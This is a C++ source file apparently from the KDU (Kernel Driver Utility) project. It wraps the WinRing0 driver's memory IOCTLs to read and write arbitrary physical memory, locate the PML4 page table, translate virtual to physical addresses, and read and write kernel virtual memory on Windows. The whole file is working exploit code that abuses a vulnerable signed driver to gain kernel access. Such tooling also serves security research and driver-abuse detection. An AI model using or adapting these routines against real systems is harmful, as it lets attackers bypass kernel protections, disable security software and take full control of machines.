KDU/Source/Hamakaze/idrv/winring0.cpp

279 lines
5.6 KiB
C++

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2020
*
* TITLE: WINRING0.CPP
*
* VERSION: 1.01
*
* DATE: 13 Feb 2020
*
* WinRing0 based drivers routines.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
#include "idrv/winring0.h"
/*
* WRZeroReadPhysicalMemory
*
* Purpose:
*
* Read physical memory through MmMapIoSpace.
*
*/
BOOL WRZeroReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes
)
{
OLS_READ_MEMORY_INPUT request;
request.Address.QuadPart = PhysicalAddress;
request.UnitSize = 1;
request.Count = NumberOfBytes;
return supCallDriver(DeviceHandle,
IOCTL_OLS_READ_MEMORY,
&request,
sizeof(request),
Buffer,
NumberOfBytes);
}
/*
* WRZeroWritePhysicalMemory
*
* Purpose:
*
* Write to physical memory.
*
*/
BOOL WINAPI WRZeroWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult = FALSE;
SIZE_T size;
ULONG value;
DWORD dwError = ERROR_SUCCESS;
OLS_WRITE_MEMORY_INPUT* pRequest;
value = FIELD_OFFSET(OLS_WRITE_MEMORY_INPUT, Data) + NumberOfBytes;
size = ALIGN_UP_BY(value, PAGE_SIZE);
pRequest = (OLS_WRITE_MEMORY_INPUT*)VirtualAlloc(NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pRequest) {
if (VirtualLock(pRequest, size)) {
pRequest->Address.QuadPart = PhysicalAddress;
pRequest->UnitSize = 1;
pRequest->Count = NumberOfBytes;
RtlCopyMemory(&pRequest->Data, Buffer, NumberOfBytes);
bResult = supCallDriver(DeviceHandle,
IOCTL_OLS_WRITE_MEMORY,
pRequest,
(ULONG)size,
NULL,
0);
if (!bResult)
dwError = GetLastError();
VirtualUnlock(pRequest, size);
}
else {
dwError = GetLastError();
}
VirtualFree(pRequest, 0, MEM_RELEASE);
}
SetLastError(dwError);
return bResult;
}
/*
* WRZeroQueryPML4Value
*
* Purpose:
*
* Locate PML4.
*
*/
BOOL WINAPI WRZeroQueryPML4Value(
_In_ HANDLE DeviceHandle,
_Out_ ULONG_PTR* Value)
{
DWORD dwError = ERROR_SUCCESS;
ULONG_PTR PML4 = 0;
UCHAR* pbLowStub1M;
*Value = 0;
do {
pbLowStub1M = (UCHAR*)supHeapAlloc(0x100000);
if (pbLowStub1M == NULL) {
dwError = GetLastError();
break;
}
for (ULONG_PTR i = 0; i < 0x100000; i += PAGE_SIZE) {
if (!WRZeroReadPhysicalMemory(DeviceHandle,
i,
RtlOffsetToPointer(pbLowStub1M, i),
PAGE_SIZE))
{
dwError = GetLastError();
break;
}
}
PML4 = supGetPML4FromLowStub1M((ULONG_PTR)pbLowStub1M);
if (PML4)
*Value = PML4;
else
*Value = 0;
dwError = ERROR_SUCCESS;
} while (FALSE);
if (pbLowStub1M)
supHeapFree(pbLowStub1M);
SetLastError(dwError);
return (PML4 != 0);
}
/*
* WRZeroVirtualToPhysical
*
* Purpose:
*
* Translate virtual address to the physical.
*
*/
BOOL WINAPI WRZeroVirtualToPhysical(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR VirtualAddress,
_Out_ ULONG_PTR* PhysicalAddress)
{
BOOL bResult = FALSE;
if (PhysicalAddress)
*PhysicalAddress = 0;
else {
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}
bResult = PwVirtualToPhysical(DeviceHandle,
(provQueryPML4)WRZeroQueryPML4Value,
(provReadPhysicalMemory)WRZeroReadPhysicalMemory,
VirtualAddress,
PhysicalAddress);
return bResult;
}
/*
* WRZeroReadKernelVirtualMemory
*
* Purpose:
*
* Read virtual memory.
*
*/
BOOL WINAPI WRZeroReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
DWORD dwError = ERROR_SUCCESS;
bResult = WRZeroVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = WRZeroReadPhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes);
if (!bResult)
dwError = GetLastError();
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
/*
* WRZeroKernelVirtualMemory
*
* Purpose:
*
* Write virtual memory.
*
*/
BOOL WINAPI WRZeroKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
DWORD dwError = ERROR_SUCCESS;
bResult = WRZeroVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = WRZeroWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes);
if (!bResult)
dwError = GetLastError();
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}